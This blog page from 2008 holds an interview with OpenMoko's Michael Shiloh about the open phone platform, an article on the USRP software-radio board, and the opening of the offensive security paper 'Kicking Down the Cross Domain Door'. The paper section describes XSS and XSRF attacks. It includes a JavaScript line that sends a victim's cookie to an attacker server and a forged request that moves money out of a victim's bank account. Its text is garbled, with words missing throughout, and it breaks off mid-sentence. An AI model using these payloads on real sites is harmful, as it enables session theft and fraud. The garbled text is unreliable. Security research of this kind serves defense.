Saturday, May 24, 2008

Radio - WiFi - Phone OPEN SOURCE

Interview: Michael Shiloh of OpenMoko
Written by Steve Lake
02.06.2008 at 06:30am
Section: Editorials

I had a chance to talk to Michael Shiloh, head of developer relations for OpenMoko, the totally open source mobile phone platform. After a few words, I could tell that the project he was engaged in was very interesting.

RR: Tell us a little about yourself

MS: I'm sort of a tinkerer and a hardware hacker. When I went to college I did straight up electrical engineering and sort of half way through I discovered computer science and realized that was also something I wanted to do. So I graduated with a degree in Electrical Engineering and Computer Science. So what that meant was that my career was now bouncing back and forth between hardware and software, and I was especially interested in the areas where the two meet. I often found myself working with device drivers, interfaces and technologies that allowed the computer to connect to the outside world. And that's always kept me in the world of unusual devices that can be hooked up to a computer. And over the next twenty or thirty years I did a number of things in that general area and that's kind of what got me interested in OpenMoko more recently.

RR: What is OpenMoko?

MS: OpenMoko stands for "Open Mobile Computing" and it was originally a project started inside the company FIC (First International Computer). Their idea was to start a Linux distribution that will be targeted to mobile platforms. They used the term "Mobile Platform" because they wanted to be able to address the much wider world than just cell phones. Their original target was any small hand held thing, whether it was a cell phone or a PDA or perhaps those things that are looking like the Nokia tablet PC's, but smaller. But what they've realized is that they're really interested in was the extensive ubiquitous computing environment that at some point in the next five years or so. There will be computers all around us, and we'll pull something out of our pockets and won't even think about it being a computer. We don't even know what those will look like now. People talk about wearable computers and those kind of things where it's embedded in your cloths, the house around you, or built into your car. But it's that concept of computers that just melt into the background, and they're around you, but they don't look like what we think of now.

The reason this becomes kind of complicated is that there isn't one strict definition of what OpenMoko considers mobile computing. But there are specific elements that are typically present. It's pretty small and portable and has some kind of internet connection over a cell phone or wifi. In fact it should have as many kinds of connectivity as possible. So that if you walked past it with a bluetooth headset, you'd be able to pick it up. If you're connected onto the cell phone network and you walk into a coffee shop that has wifi, you ought to be able to take advantage of that. It should have things like a USB port because a lot of people have USB devices. You'd like to be able to include those in the list of peripherals you'd be able to use with this device.

So the idea is that it's something that has this wide range of connectivity options so that anything that falls into it's zone of potential connectivity can be used with it. It should also be aware of its location. So GPS also becomes important. So a given OpenMoko device may or may not have every single one of those items. But the more of those items that are present, the more we would consider it a prime candidate to be an OpenMoko system. And the reason we define it in that way is that what we're looking for is the kind of applications that would be useful in that kind of world. It's kind of a bit of a circular dependency. The kind of applications that would be developed for ubiquitous computing would definitely be different applications the more different interface options there are. And people won't build hardware with more interface options until they kind of know what those applications will be. So we're trying to jump start it by saying we're not exactly too sure what it will look like, but we're going to develop the Linux environment and the hardware to have as many of those things as possible just to kind of see what happens next. Just to give a jumpstart to the applications.

RR: What operating system does this run on? Is it Linux or a custom built Open Source system?

MS: It is Linux. We wanted to develop the ubiquitous computing devices of the future, and we quickly realized that if you tried to organize a bunch of focus groups to pull these kind of things together, you would still be somewhat limited by the environment that you built those groups within. People would come into those groups with a set of assumptions. The idea was that by going to the Open Source community, instead of trying to do this within a company, you tapped into a much, much larger number of people who have very large and broad imaginations who tend to be very creative and tend to come from many different kinds of backgrounds.

So whether they're into computing because that's their daytime job, or because it's their hobby and their daytime job is in the medical field or something else, they bring to it their knowledge from the computer field, as well as other things not related to computers. And that interaction of creativity and imagination from the ones with very different backgrounds we think is what will lead to the applications we can't even imagine right now. So once we decided we wanted to go the Open Source route, then you want to base it on something that is as easy as possible for as many of those people as possible to get involved in. So then the natural choice of Linux becomes quite obvious. And then that drove a lot of the other decisions we made.

There were cases where we could choose one type of software that would be smaller and more efficient, but it would be less popular. Or we could choose something that was a bit larger and required more resources, but it was known by a larger group of people. And we would choose to go with the latter just because we could get more people involved.

RR: The OpenMoko platform has more than just software. It has hardware, right?

MS: Yes, that's a good distinction. We were talking about that just last week. So we decided that OpenMoko was going to be two things. First of all, FIC originally founded this project as a product within their company. They then decided to spawn off that project as its own company, a subsidiary of sorts, and that was done to give it a bit of independence so that it wouldn't be tied just as closely with FIC hardware. So OpenMoko is the name of that company, which is completely owned by FIC currently, and OpenMoko is also the name of the Linux distribution we are creating. Those are the two things we are officially calling OpenMoko.

Also, OpenMoko is partnering with FIC to create hardware. That hardware we do not call OpenMoko hardware. It's generic hardware. We're calling the product like the "Neo" and there are two models in that right now. There's the first phone we came out with which was the Neo 1973. And then there's the next one we're going to release in a month or two and that's the Neo FreeRunner. Now the Neo was designed specifically to run the OpenMoko Linux distribution, but in a sense it's independent. You could run any kind of operating system on it, if you can find the appropriate drivers. And in contrast, the OpenMoko Linux distribution could be run on any other kind of platform. It doesn't have to be OpenMoko designed hardware.

RR: Well that's always good.

MS: Yes. In fact, there's a group who's already ported OpenMoko to one of the Motorola phones. So that's an example of the OpenMoko distribution running on completely different hardware. There's another example going the other way around. Qtopia, the Linux distribution put out by Trolltech was originally designed to run on their phone, the green phone, but they decided to stop making the green phone and instead support running their Linux distribution on the OpenMoko hardware. So Qtopia runs on the Neo 1973.

RR: So is all of the hardware you have for this FCC certified and ready to use on different networks?

MS: Yup. Absolutely. Now it is a GSM based phone, both models, which means they both use a sim card and the GSM network which is pretty common here in the states, but much more common in the rest of the world. But there are some areas in the states that don't have coverage for that. But that's pretty small. In fact, I think it's virtually negligible.

RR: What market is this aimed at? Or what specific cell phone provider? For example, Nextel, Motorola, CenturyTel, etc.

MS: That's a good question. When this project was originally thought up, they weren't thinking specifically about finding their way into one of those particular channels. The idea was that the developers and the Open Source community would be the first users of the device until they developed the consumer version. They were distinguishing between a developer launch and a consumer launch. But the whole project really got a lot of attention and a large number of the cellular network providers began contacting us and wanting some of the hardware for testing. I can't say who specifically, as I'm not allowed to, nor am I privy to that information, so I don't know who they were. I don't think this is them wanting to use it or sell it, but more of a facts gathering thing where they ask "What is this?" and "What does it mean to me?", "How am I to change the way I do business?", or "Is this something I want to get involved in?"

It's likely conversations of that sort or nature. Which leads us to the next question. If we're not going through the cell network providers, how do we expect to make money? There are two parts to that answer. In the rest of the world, you buy your cell phone independent of your cell phone provider. So whether we sell through a chain of stores or sell through a website, people can still get their phone and use it right away. Another thing we're finding that this device is really well suited for is any kind of a niche market, and we have any number of interesting projects coming up, sometimes out of curiosity and sometimes out of really specific needs. This is where people have a very specific application in mind, but their market is such a niche, they can't get the attention of the big cell phone manufacturers or the bill cell phone network providers.

So for instance, one that keeps occurring is in the medical field. And again, there are some companies we are talking to specifically and some who are just curious. And you can imagine a sort of general purpose thing where they're inside of a hospital and they can carry it around with them and it has wifi connectivity for them, and when it's outside of the hospital it can use the cell phone network. And they can use it to alert the various health care providers. If one of their patients has some kind of emergency, and they can access all of their medical records. And there's another side to that in addition to providing all of that network connectivity, there can be sensors mounted to the patient for things like EKG, blood pressure, or glucose levels, and all of that information can be sent to the phone and have it update the providers in the appropriate way.

So that's the kind of specific hardware that is easy to do with an open platform like our, that the closed platform has a really hard time justifying. It's not worth it for them to spend the time and energy into looking at these special projects unless the numbers are really huge. And in our case we can say, here are the device drivers, here are all the source code, if you need to add a special device driver for your glucose monitor, no problem. We can add that driver for you. For a little bit of money you can find some independent provider to give you that driver, or you can do it yourself. But because 99% of the rest of the work is done, and all they need to do is add that one driver, it becomes something that is feasible for a small company to do.

RR: Right, and then they just write the necessary applications to read the data from those glucose meters.

MS: Exactly. And whether that application is going over the wifi network or the GSM network, or it could even be a tiny webserver on the phone that's collecting that data. And that's something you just cannot imagine doing with a Nokia or a Motorola and one of the standard cell phone providers. It's not that they can't do it, but the numbers aren't big enough to justify them doing it.

RR: Interesting. How user friendly is the platform from an end user's perspective?

MS: Ah, I was afraid you were going to ask me that. That's perhaps the one sticking point we have right now. In a way we are victims of our own success. The idea was that the first launch of the phone would be aimed just at developers. So the stereo-typical Linux geek, the various hardware hackers, and the developers of new applications. And together we would develop the really interesting applications that would appeal to the mass consumer. Now we haven't actually done that yet. But we seem to have captured a lot of interest, so we get a lot of requests from people who want to review the phone as a consumer device, and we have to say it's not there yet. We have a very, very basic cell phone functionality to it. You know, you've got your dialers, your address book, the calendar, your notes. It's really not meant to be an end user product. It doesn't compare very favorably next to things like the latest Nokia phone or the latest Motorola.

Certainly not compared to things like the iPhone. And I mention the iPhone as sort of a special case, because people look at the iPhone and say, "Well, that's based on OSX, therefore it's theoretically open." There are some physical resemblances also. We have a very big screen that's a touch screen, and we don't have many buttons. It looks a lot like an iPhone. People tend to hold up our phone next to an iPhone and say, "Why should I choose yours over theirs?" The answer is that it's not really a device question yet. Because if you compare them side by side, our applications will not compare favorably. The real comparisons is what kind of applications can be developed on ours because it's all completely open source. And where will this thing go in the future? And what can we bring to that hardware, because we have such a huge base of open source developers who are working with our phone. Where creativity and imagination can do things that are not possible with a closed platform.

RR: Does the hardware side of it use open hardware, or is that going to be somewhat proprietary?

MS: Yes, that's been a tricking thing we're still trying to navigate. And it's a regular topic that comes up in our internal meetings. So the quick answer is, at the moment the hardware is not open. We would like to make the hardware open at some point. Part of the problem is that the hardware isn't completely all ours. We've developed the hardware in cooperation with the parent company, FIC. And while they sponsored our project, they're not an open source company. And for a lot of hardware manufacturers, there's this feeling that if I open up the hardware, if I publish the schematics to my hardware, theoretically anybody else can go off and duplicate that. And specifically, you can imagine some company saying, "I can make this hardware cheaper," and they would make a Neo knockoff that would then undersell our phone. Now the only reason to do that would be if the market for Neos was so, so huge that it was worth it for them to do that. It's simply not there yet. The hope is that we will be at some point, and we will be that successful. And then there will be motivation for somebody to try and undersell us.

The reality is that it's not so easy to take a schematic and turn it into a working phone. For example, one of the very simple common things is the high frequency stuff. The stuff that has to do with the radio section. So there's the GSM radio that talks to the cell phone network, the GPS radio that talks to the GPS satellites, and when you get up into those high frequencies, all kind of issues occur. Like two signals that are passing next to each other, and one will radiate onto the other one and you will get interference. So when you look at the schematic, it doesn't tell you how the signals are going to behave. It's the way you lay out the circuit that will have a tremendous amount of influence. So just from that little example, simply publishing the schematics doesn't allow you to go and manufacture a device that will work with a high degree of certainty out of the box. So there's a typical kind of thing that is an example.

So that's a round about way of saying we currently can't Open Source our hardware partially because it's still the tradition of fear that if we Open Source the hardware, somebody else will go and undercut it. Plus we don't own it completely. It's partially held by FIC. And partially because other companies don't do it. Now the flipside of that is that it's very possible that all of these reasons are bogus and it's just fear and inertia that are holding people back. There are in fact one or two companies that specialize in hardware that is designed for Linux who are Open Sourcing their hardware. And it would be interesting to go to them and say, "Is this fear true? Have other people gone and tried to undercut you?" There is one company out there who is actually making and selling an Open Source media server. They are actually even publishing the schematics for it. It would be an interesting question whether or not someone has copied that hardware and tried to undercut them.

And since you're asking about hardware, the next question becomes the chip. That's an interesting parallel because if we're going to open source the software and open source the drivers, we need to have enough information on the chip to write those drivers. And the same kind of reluctance to release schematics also exists with some of the chip manufacturers that have very highly specialized chips. So for instance if you go to Nvidia or ATI, and say you want to design a new video board and you want to use their high end video chip, they will not give you the specs on that chip until you sign a non disclosure agreement. Now supposedly their reason for doing that is that if you were a competitor, you might be able to deduce from the specifications how it is that they do especially accurate graphics. Or especially high speed motion.

The big market for the chips is games. They need to have the ability to rapidly draw scenes or quickly render different textures or environments. And they put a tremendous amount of research and development into those chips. In a very real sense that intellectual property translates into some very real dollars for them. And if they felt that someone could deduce their secrets, then they would essentially loose their edge. So that's the official reason those companies have a lot to worry about the release of the specs of the chip. Unofficially it's not at all clear that you really would be able to do that. And it could be just another matter of momentum and nobody wanting to take the risk that it will happen. Now the question is, if we want to develop a completely open source Linux distribution, we need to have device drivers that are open source, and the only way we can open source those device drivers is to use chips where either the company will give us the data sheet, or they will allow the data sheet to be published publicly so that everyone can look at it.

Or these companies will provide device drivers to us that they will allow us to open source. And that turned out to be non-trivial. We did eventually do it. And that is how the Neo handset came out with that particular set of chips. Because we had to choose chips for which we could get or create those open source drivers. And that's a very different situation than a cell phone manufacturer saying, "I'm going to build a cell phone and I need to choose the chips I'm going to be putting in there, but I'm not going to open source it. Thus they have access to a much wider range of chips they can use.

RR: Interesting. Do you know when this will be publicly available for sale or to the general public?

MS: Officially, no. Officially we found that it's difficult to determine how long it takes to do this work. Unofficially, we're looking at somewhere within half a year or so after we release the developer version. So the developer version is going to come out in the next month or two. And this is all unofficial. And then I believe somewhere about a half a year after that we'll be able to release a phone that is consumer ready. What will change in that half year is unknown right now. As I said, that software is functional, but it's not very pretty. And what we'd like is Open Source software that you can put in a cell phone and it will compete favorably with all the top notch hardware out there. We don't want anybody to look at it and say it's horrible. We want people to look at it and say, "I'm having to make a real tough decision between this phone and some other phone."

RR: Really quickly, what are some of the specs of the phone, such as screen size and things like that?

MS: Yes, good question. First of all, the most striking thing is it's a full vga screen. 640x480. What that means is that the graphics on it is just amazingly sharp. What it also means is that applications will be able to take advantage of that which simply couldn't exist before because we couldn't get that kind of resolution out of those kind of screens. It's touch screen. It has a stereo sound system when you plug in your headphones. There is only one speaker on the unit itself. I mentioned before that the cell phone's hardware is GSM, so that limits you to Tmobile and AT&T. It has GPS built in. So we're looking forward to seeing a lot of applications related to that. So if I want to go to a restaurant, the phone will already know where I am and suggest restaurants within my area via Google maps. It also has wifi built in. You'll be able to use it as a voip phone whenever you're close to wifi.

It has a 400mhz arm processor. It has 2D and 3D graphics acceleration. So we're looking forward to having nice graphics on this. We will also have a pair of accelerometers on it to measure the orientation of the device relative to the Earth's gravitational field. Some of the applications of this is if you were driving, and you were moving really, really fast, and you had to slam on the brakes, and you got an incoming call, the phone would send that call directly to voicemail rather than ringing the phone. While it's a really specific applications, it's one of those things were you have all of these interesting extensions in the box and you go, "Wow, what all can I do with these that I couldn't do before?" And of course, once you put ideas like that out in the Open Source community, they really go wild with it and come up with all kinds of really crazy ideas. Because for everyone one hundred crazy ideas, there are always one or two gems in there that could potentially become real breakthrough applications.

The fun part of it all is coming up with those crazy ideas. Because the sooner you get past the crazy ones, the sooner you'll get to those one or two gems.

RR: How can people contribute to the project?

MS: There is a website. We actually have two different websites. and Generally speaking, we try to keep all of the community and Open Source related topics on the .org website and we tend to keep the .com website more for the business end of things. That's where you'd contact the marketing and sales department, that's where you'd purchase phones, etc. We're working on a list of distributors and resellers who will be on the .com site. So the first step if you want to contribute is you go to the .org website. And what you will find there is that we have a wiki and about a dozen mailing lists. The main mailing list there is the community mailing list. That's the most active one.

That's the one where people like me update the community with what's going on inside of the company. It's also a place where the community raises all kinds of questions, concerns, ideas and suggestions. It's a place where the community suggests, "Hey, I'd like to go and build this application. Who'd like to help me with it?" And then they might go off and form their own group to do that. It's a place where we discuss updates, letting people know what state we're at in getting to that developer release that's in a month or two. We announce bug fixes. We do our new releases of the software. There's a tremendous amount of discussion. One of the things that will happen often is a new person will come along and say, "Hey, I just joined. How can I help?" And very often we've had people come along and say something like, "I'm not a software developer, but I love the concept. What can I do?" And the answer is that there's all kind of different various things to do. In fact, one guy joined and he said, "I'm an artist. I can't write code. I don't suppose I can contribute?" We all jumped at him and said, "Are you kidding? You could be designing the icons and the graphics and things like that."

We had a musician actually who suggested he could be helping us with ringtones. So there are many, many different ways to contribute. I'm looking forward to some documentation people joining the project to help us document this. Because there are a tremendous amount of ideas in the community and the wiki has a lot of details on the hardware and the software, but it's all written by engineers. We need someone who knows how to explain this to explain it in a rational way. To "de-nerdify" it. So yes, we welcome people to the community and there are many, many different ways to contribute. I should mention another thing about it. There are a number of other Open Source distributions that target embedded hardware or mobile hardware. And in order to get involved many times, you either need to sign an NDA, or you need to purchase the hardware, or you need to register in some way. And we made a very conscious choice not to have any of those barriers.

So people can join the project without having to get qualified as a developer in any way. They don't need to sign anything and there is no requirement to purchase the hardware in order to get access to the software or be part of the community. We welcome participation. Anyone interested can contact me at michael*a} And again, that was a conscious choice to make sure that it would appeal to the larger number of people, and it also shows that we want this software to be available to other hardware as well. We're not targeting this software only at our hardware.

RR: Is there anything else you'd like to share with us?

MS: Nope, I think that about covers it.


Hardware for Your Software Radio By Stephen Cass

How to get to the cutting edge of radio technology

Radio Star: Univeral Software Radio Peripheral designer Matt Ettus poses with his invention and some of the daughterboards used to operate in different frequency ranges.

What.s going to be the next big thing in wireless technology? My bet is software-defined radio, and thanks to a piece of hardware called the Universal Software Radio Peripheral, or USRP, you can get right to the bleeding edge today.

Currently, adding an audio, video, or data stream to a radio signal so it can be broadcast.a process known as nearly always done by dedicated electronics. The same is true with the reverse process.demodulation.required to receive a transmission. Radio waves can be modulated in any number of ways, and each way requires different circuitry. This is why you can.t, say, use a TV designed for the U.S. NTSC broadcast standard and expect it to work in Europe, which uses mostly the PAL standard.

The idea behind software-defined radio is to do all that modulation and demodulation with software instead of with dedicated circuitry. The most obvious benefit is that instead of having to build extra circuitry to handle different types of radio signals, you can just load an appropriate program. One moment your computer could be an AM radio, the next a wireless data transceiver.and then perhaps a TV set. Or you could leverage the flexibility of software to do things that are difficult, if not impossible, with traditional radio setups. Want to broadcast an emergency message on every FM band? Scan a dozen walkie-talkie channels at once? Or design and test a new wireless data protocol? No problem with the software radio.

Researchers are currently using software radio.based systems to help them work on problems in realms that include radio astronomy, telecommunications, and medical imaging. Already a number of commercial products rely on software radio.

While software radio is still very much a work in progress, and ­general-­purpose processors still lack the computing power to fulfill all the dreams of enthusiasts, you can get a taste of the future with the USRP. The hardware works in concert with free software developed by the GNU Radio project, an international collaboration of programmers who donate their time and skills.

The USRP acts as an RF front end for a computer running the GNU Radio software, converting radio waves picked up by an antenna into digital copies that the computer software can handle or, conversely, converting a wave synthesized by the computer into a radio transmission. I tested GNU Radio and the USRP together on both Linux and Mac OS X computers, but the GNU Radio software will also work with other RF front ends, and it can be used with prerecorded signal samples in the absence of any radio hardware. Likewise, the USRP can be used with proprietary software such as Matlab and LabView, or with home-brewed code.

The USRP is made by Ettus Research, in Mountain View, Calif., and costs US $550 for the basic motherboard. This square motherboard, 16 centimeters on a side, houses a field-programmable gate array (FPGA) to do heavy-duty signal processing, as well as the circuitry required for talking with a Mac or PC via a USB 2.0 connection.

The motherboard has four expansion ports.two for receiving radio signals and two for transmitting signals. Various daughterboards sold separately by Ettus Research are plugged into these ports; different daughterboards handle different frequency ranges, giving the USRP an overall potential range of 0 hertz to 2.9 gigahertz, which covers everything from AM radio, through FM and television, to beyond Wi-Fi.

Daughterboards sell for $75 to $275 each; a typical example would be the TVRX, which can receive signals in the 50- to 870-megahertz range and sells for $100. The USRP is not restricted to tuning in one frequency at a time, because it can handle signals as wide as 16 MHz. The architecture also supports MIMO.multiple input, multiple output of simultaneous radio signals.which is the underlying technical approach behind next-generation wireless data and cellphone standards.

The USRP is clearly a labor of love for Matt Ettus, the man behind Ettus Research, and the motherboard and daughterboards are an engineer.s delight. Plenty of interconnects for hardware hackers are provided, and detailed schematics, along with the Verilog code that configures the FPGA, can be downloaded from the Ettus Research Web site at

Aside from the cable woes, setting up the hardware was easy. Unfortunately, the software side didn.t go as smoothly.

The GNU Radio software, in addition to its own code, relies on a lot of third-party software from other free and open-source projects. Getting all this additional software up and running is actually the trickiest part of setting up GNU Radio, and the difficulty was compounded by both a lack of reliable documentation and out-of-date software.

In the end it took many frustrating hours, lots of Googling, a phone call to Matt Ettus (who is also a contributor to the GNU Radio project), and several false starts to get my Linux-based system up and running properly.

The root of my problem was twofold. First, the official release of the GNU Radio software provided on the project.s Web site (­software/gnuradio) was obsolete, as was the installation tutorial the site linked to.which led to my second problem. Following these instructions, I had tried to install all the supporting software by compiling it from source code: a long, difficult process that I never got to work quite right.

Finally, following tips from Ettus, along with parts of the available documentation that still seemed to make sense, I started over with a blank slate, using a fresh install of Linux Mandriva 2006 Free Edition as my operating system. My plan was to download the supporting infrastructure in the form of prebuilt binaries that didn.t have to be compiled, and then download and compile the latest version of the GNU Radio software directly from the developers. own source code repository.

Two and a half fairly pain-free hours later, I had a local FM station blaring from my computer.s speakers. [For a step-by-step description of what worked for me, see . Installing the USRP and GNU Radio..] As a more advanced exercise to make sure everything was working, I downloaded and installed additional code for viewing analog TV signals; while I was able to get it to run pretty easily, I still couldn.t produce a watchable picture, because this feature is so new that no one.s yet written the code to de-interlace the raw TV transmission! (There is code available for watching HDTV digital transmissions, but because of the performance limits of current processors, the signal can.t be decoded in real time.)

Incidentally, I had first installed the USRP and GNU Radio system on my OS X system fairly easily, mainly thanks to a good installation guide ( Unfortunately, I.d used the official release of the GNU Radio software, which did not include sound support for OS X at that time.

To be fair, problems with third-party code, rapidly evolving software, and documentation are endemic to free and open-source software projects. Still, there is no getting around the fact that installing GNU Radio is a particularly difficult process for those new to it. Ettus says the GNU Radio project hopes to establish a stable working official release before too long, and the project will soon replace, or at least remove, the dead-end software and documentation that.s on the home page.

Once you have the software up and running, you.ll need to know that programs for GNU Radio are written using the C++ and Python languages. The conceptual approach is to treat the various parts of the system as modules that send information to one another, allowing programmers to concentrate on whatever piece they are interested in, while treating the other modules as black boxes.

Routing between modules is done with Python, so that a developer might write a Python program that uses an off-the-shelf .source. module, which grabs a chunk of radio spectrum from the hardware, and a similar .sink. module, which sends the output of the program to, say, a set of speakers or a radio transmitter. In between the source and sink modules the developer could put a custom signal-processing module, which itself would be written in C++ (signal processing is not done with Python for performance reasons). This gives developers the ability to assemble working systems rapidly. Plenty of sample programs are included with the software to give new developers a head start.

Ultimately, despite the installation headaches I encountered, it is clear that the USRP and GNU Radio have immense potential, and the full range of possible applications is not yet foreseeable. For those who have the technical chops and want a sneak preview of things to come, the USRP and GNU Radio deserve attention.


GNU Radio is a free software toolkit for learning about, building, and deploying software-defined radio systems. Started in 1998, GNU Radio is now an official GNU project. Philanthropist John Gilmore initiated and has sustained GNU Radio with the funding of $320,000 (US) to Eric Blossom for code creation and project management duties.


Bookmark and Share
posted by u2r2h at Saturday, May 24, 2008 0 comments

Friday, May 23, 2008

Hacker's Paradise -- Cross Domain Exploitation


<span style="font-size:78%;">Kicking Down the Cross Domain Door March 2007 Techniques for Cross Domain Exploitation Billy Rios Senior Researcher Raghav Dube Senior Researcher Intended Audience This paper assumes the reader has a solid understanding of web application security principles, Cross Scripting (XSS), Cross Site Request Forgery (XSRF), and web browser security mechanisms. This paper provide foundations the various types of exploitation, but then quickly move into more advanced techniques. Please reference section this paper more information regarding individual types attacks. If reader experience XSS, XSRF, and XSS Proxies, reader should proceed directly Chapter (The Attack). Contributing Authors Version Billy Kim Rios Senior Researcher Raghav Dube Senior Researcher Proofreading Palan Annamalai -- Senior Researcher Kicking Down the Cross Domain Door Table Contents INTENDED

</span>black hat computer hacker geek security exploit web hack
<span style="font-size:78%;"> AUDIENCE............................................................................................................................ CONTRIBUTING AUTHORS................................................................................................................... PROOFREADING ...................................................................................................................................... CHAPTER 1 IMPLICATION OF CROSS DOMAIN ATTACKS ....................................................... 4 OVERVIEW .............................................................................................................................................. 4 BROWSER SECURITY MEASURES............................................................................................................. 4 CHAPTER 2 ATTACK FOUNDATIONS .............................................................................................. 5 CROSS SITE SCRIPTING (XSS)................................................................................................................. 5 CROSS SITE REQUEST FORGERY (XSRF) ................................................................................................ 6 CHAPTER 3 XSS PROXIES AND FRAMEWORKS ........................................................................... 8 OVERVIEW .............................................................................................................................................. 8 CROSS SITE SNIPER (XS­SNIPER)............................................................................................................ 8 CHAPTER 4 THE ATTACK ................................................................................................................. OVERVIEW ............................................................................................................................................ INITIAL XSS .................................................................................................................................. RECONNAISSANCE FINAL TARGETS........................................................................................... ATTACKING BIGCREDITUNION.COM ..................................................................................................... ATTACKING INTERNAL NETWORK RESOURCE ................................................................................. CHAPTER 5 CONCLUSION................................................................................................................. REFERENCES ........................................................................................................................................... APPENDIX A -- JAVASCRIPT PAYLOADS.......................................................................................... SPOTTER.JS ............................................................................................................................................... EXTERNAL­SPOT.JS ................................................................................................................................... SNIPER SCOPE ........................................................................................................................................... FIREFOX SNIPER SCOPE ............................................................................................................................ SNIPER SCOPE ...................................................................................................................................... XMLHTTP REQUEST (XHR) .................................................................................................................. XHR SNIPER SCOPE.................................................................................................................................. XHR FIREFOX SNIPER SCOPE ................................................................................................................... XHR SNIPER SCOPE ............................................................................................................................. WHATSUP GOLD 2006 SCANNER ............................................................................................................. WHATSUP GOLD 2006 BRUTE FORCER .................................................................................................... NIKTO SCANNER ....................................................................................................................................... APPENDIX B -- SNIPER CODE SNIPPETS........................................................................................... Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Chapter Implication of Cross Domain Attacks Overview Cross domain requests heart an ongoing battle between developers who strive to provide rich, up minute information from sources located over the world wide web and security professionals who fear cross domain requests could cripple Internet with new classes exploits attacks. Typically requests various domains issue, it becomes issue however, when attacker can masquerade their request if it were from privileged or trusted user. Considering Hypertext Transfer Protocol (HTTP) stateless, there several ways browsers attempt ``state'' a application. This state typically a particular user and their associated privileges after the user has gone through some of authentication process (typically entering username/password combination). Normally, state tracked session cookie, which passed with each request from user's web browser the web application. Normally, the web server associates a particular session cookie value a particular user. sense, web application ``trusts'' that HTTP requests containing the correct session value must have come from the user has associated that particular value. danger domain and cross domain requests arises when attacker piggy back off this established trust. Browser Security Measures order prevent cross domain requests, browsers typically impose significant restrictions cross domain interaction by web browser. Most browsers implement ``Same Origin Policy'', which restricts communication between different domains. The nuances and exact details how browsers enforce same origin policy scope this document, there are some fundamental concepts should understood. simplest sense, same origin policy attempts keep content functionality from domain ( from stealing modifying content another domain ( Without the same origin policy, malicious websites would able read based email, check our online banking account information, and steal other pieces sensitive information from There a exceptions policy (script src, img src...etc), the exceptions very limited. Additionally, most modern browsers allow functionality from one domain to make request content from external domain (via frame location.href...etc), will allow initiating domain view response from cross domain request. The examples presented in paper, abuse the web applications trust of browser and skirt the line permitted and restricted functionality provided the browser. Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Chapter Attack Foundations Cross Site Scripting (XSS) XSS typically caused lack adequate input filtering and/or improper output encoding. XSS can allow attacker supply arbitrary client­side code (JavaScript, VBScript... etc.) ultimately rendered executed within browser end user. When this client­side code rendered within the browser user, attacker gain access DOM existing within that browser. Typically, XSS been exploited providing the final payload code executed within actual application parameters passed to application. XSS attacks have matured, attackers have discovered ways dynamically change XSS payloads ``on maximize impact of XSS attacks. This typically done pointing application dynamic JavaScript XSS payload through of injected ``script src'' tags. Once a victim has been XSS'd, the attacker steal DOM items from victims' browser. The stealing of information from victims' browser typically done ferrying off information using ``one way'' client side scripting and HTML requests back attacker. Perhaps most classic example attacker would ferry information from XSS'd victims' browser back the attacker is ``document.cookie'' example. example, attacker uses XSS force victim create request some resource attacker controlled server this case jpg). victim passes the cookie value query string the request and the attacker captures incoming request the file the attacker controlled server. The JavaScript payload may look something getTheCookie new Image(); getTheCookie.src `'+document.cookie; Although the above example simply passes victims' cookie back attacker, underlying techniques used ferry various pieces information from the victims' browser the attacker. This technique used extensively throughout examples presented paper. XSS has shown itself powerful attack, allowing attackers to steal various pieces sensitive information. XSS basically gives attacker control over victims' browser, allowing attacker masquerade various requests the victim. Although techniques to prevent XSS seem simple easily implemented, developers finding that completely eliminating XSS from their applications difficult and continuously evolving process. The power given to attacker via XSS and prevalence XSS the ``wild'' make XSS a favorite choice web application hackers. Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Cross Site Request Forgery (XSRF) Although Cross Site Request Forgery (XSRF) sounds like Cross Site Scripting (XSS), XSRF completely different type attack. XSRF attacks typically take advantage web applications trust user's web browser. This may have been established because user previously provided correct login credentials application, has active session persistent cookie located their machine, resides in correct space. Additionally, XSRF typically requires attacker craft request parameters would normally be used execute some functionality within web application, forcing attacker have a solid understanding targeted web application before initiating the XSRF. The web application assumes that because request has appropriate ``trust'' (legitimate session cookie, space...etc) and the request contains proper parameters, the request must legitimate and must have originated from the legitimate user. classic example XSRF action shows attacker using XSRF transfer money from victims' bank account attacker controlled bank account (the example based the example presented OWASP web site). The attacker (Billy) decides transfer to friends (Raghav) checking account using Billy logs the HTTP requests and responses made from computer and notices that when requests a transfer from account Raghav's account following HTTP GET request made: GET / HTTP/1.1 Cookie: MYCOOKIE=AWSWADJ1LE3UQHJ3AJUAJ5Q5U Host: The web application does a great tying the users' session to appropriate account and subtracts from Billy's account and adds Raghav's account. Being enterprising hacker, Billy understands that this scenario ripe XSRF embeds the following HTML tag website: Now, whenever victim with established session with visits Billy's website, $10000 transferred out victims' account and placed into Billy's account. Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door While above example shows only a simple scenario of how XSRF used to exploit victim, it does highlight some strengths and weaknesses XSRF: Strengths: XSRF gives attacker the ability take advantage victim's environment XSRF allows the attacker to make ``one­way'' cross domain request behalf the victim XSRF can used execute some functionality external application XSRF can difficult detect Weaknesses: Verification successful XSRF typically requires side channel. XSRF attacks typically require a detailed understanding target system. Step based processes (although possible) can tricky examples presented this paper, will use XSS and XSRF combination with each other maximize our exploitation efforts. Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Chapter XSS Proxies and Frameworks Overview While XSS proxies frameworks are necessary exploitation, they make things easier. While a XSS proxies and frameworks exist public domain, I have chosen create my own. This proxy allows dynamically change JavaScript requested ``script src'' tag typically injected during an XSS attack. Although look and XSS proxy used these examples custom particular tool, the foundation and fundamental concepts used my custom proxy based the XSS­Proxy created Anton Rager (ShmooCon 2005). Cross Site Sniper (XS­Sniper) XS­Sniper name XSS proxy I have created. The basic look and feel XS­Sniper be presented in following screenshots. Captured incoming HTTP requests the XS­Sniper Proxy Dynamic JavaScript Payload execute.js Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Once again, XS­Sniper operates under same principles outlined Anton Rager's XSS Proxy. of JavaScript payloads used the examples below will provided Appendix Much other XSS proxies, XS­Sniper simply accepts incoming HTTP request serves a dynamic response controlled attacker. Much the XSS­Proxy, XS­Sniper does require installation a web server or database software. There however, a pieces of functionality provided Sniper that provided XSS­Proxy, these pieces covered following paragraphs. The first piece functionality provided by XS­Sniper is provided XSS­ Proxy is called Sniper Scope. some cases, raw HTML and client scripting difficult to understand taking a look at HTML source of Gmail sometime). Searching through raw HTML and client side code can 